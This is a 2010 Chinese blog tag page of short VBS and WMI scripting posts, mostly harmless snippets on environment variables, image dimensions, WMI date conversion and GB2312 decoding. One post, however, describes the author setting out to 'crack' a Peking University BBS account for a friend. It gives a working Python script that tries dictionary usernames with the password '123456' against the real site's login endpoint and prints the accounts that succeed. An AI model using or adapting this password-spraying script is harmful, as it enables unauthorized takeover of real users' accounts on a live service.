文章关键字 ‘VBS’

用VBS创建环境变量

2010年12月3日,星期五

今天和一个高手讨论了一下WMI里WQL查询的时间问题,无果。Google时无意中搜到这段代码,mark一下。

strComputer = "."
Set objWMIService = GetObject _
("winmgmts:\\" & strComputer & "\root\cimv2")
Set objVariable = objWMIService._
Get("Win32_Environment").SpawnInstance_
objVariable.Name = "TestValue"
objVariable.UserName = "System"
objVariable.VariableValue = "This is a test"
objVariable.Put_

参考链接:如何使用脚本创建环境变量?

用Shell.Application获取图片分辨率

2010年11月23日,星期二

昨天有人在博客里留言:“获取图片分辨率也可以用Shell.Application,我比较喜欢用这个。”简单Google了一下,未果,于是发邮件请教了一下,很快就有了回复。

Path = "C:\test.jpg"
arr = Split(Path,"\")
FileName = arr(Ubound(arr))
FolderPath = Left(Path, Len(Path) - Len(FileName) - 1)
Set objShell = CreateObject("Shell.Application")
Set objFolder = objShell.Namespace(FolderPath)
set objFolderItem = objFolder.ParseName(FileName)
Width = objFolder.GetDetailsOf(objFolderItem, 162)
Height = objFolder.GetDetailsOf(objFolderItem, 164)
Msgbox "Width: " & Width & " Height: " & Height

碰到VBS高手了。

Python牛刀小试

2010年11月19日,星期五

今天有个朋友问我有没有北大BBS的账号。真奇怪,我又不是北大的,怎么会有北大BBS的账号?我让她问她北大的朋友要,她说她没有北大的朋友。

难道真的要我破解一个么?算了,正好试试我的Python水平。

#coding: gbk
import httplib, urllib

def Check(username, password):
    params = urllib.urlencode(
        {'userid': username, 'passwd': password})
    headers = {"Content-type":
        "application/x-www-form-urlencoded"}
    conn = httplib.HTTPSConnection("www.bdwm.net")
    conn.request("POST",
        "/bbs/bbslog2.php", params, headers)
    res = conn.getresponse().read()
    conn.close()
    if res.find("密码不正确") != -1:
        return False
    elif res.find("不存在这个用户") != -1:
        return False
    else:
        return True

for i in open("English.Dic"):
    if Check(i.rstrip(),"123456"):
        print i

顺便也写了个VBS版的,感觉貌似VBS比较快,感觉出问题了?

(更多…)

将WMI中的DateTime类型转换成VBS时间

2010年11月17日,星期三

WMI中的DateTime数据类型保存的时间格式是UTC,与VBS中的时间类型不同。

有两种方法可以转换,一种是自己写个函数解析:

Function WMIDateStringToDate(DateTime)
    WMIDateStringToDate = _
    CDate(Mid(DateTime, 5, 2) &_
    "/" &_
    Mid(DateTime, 7, 2) &_
    "/" &_
    Left(DateTime, 4) &_
    " " &_
    Mid (DateTime, 9, 2) &_
    ":" &_
    Mid(DateTime, 11, 2) &_
    ":" &_
    Mid(DateTime, 13, 2))
End Function

另一种是使用SWbemDateTime对象

Function WMIDateStringToDate(DateTime)
   Set WbemDateTime = _
   CreateObject("WbemScripting.SWbemDateTime")
   WbemDateTime.Value = DateTime
   WMIDateStringToDate = WbemDateTime.GetVarDate()
End Function

参考链接:It’s About Time (Oh, and About Dates, Too)

VBS实现GB2312转Unicode

2010年11月9日,星期二

今天写了一个类似于下面的程序:

Dim http
Set http = CreateObject("msxml2.xmlhttp")
http.open "GET","http://www.sina.com.cn/",False
http.send
WScript.Echo http.responseText

但是却发现返回的中文都是乱码,看了一下发现新浪的编码竟然是gb2312的,汗,现在都是utf-8编码的时代了。responseText对utf-8编码支持得很好,但是如果是gb2312编码就会返回乱码,有时甚至会报错。无奈,只好用responseBody然后自己转码。

Dim http
Set http = CreateObject("msxml2.xmlhttp")
http.open "GET","http://www.sina.com.cn/",False
http.send
WScript.Echo GB2312ToUnicode(http.responseBody)

(更多…)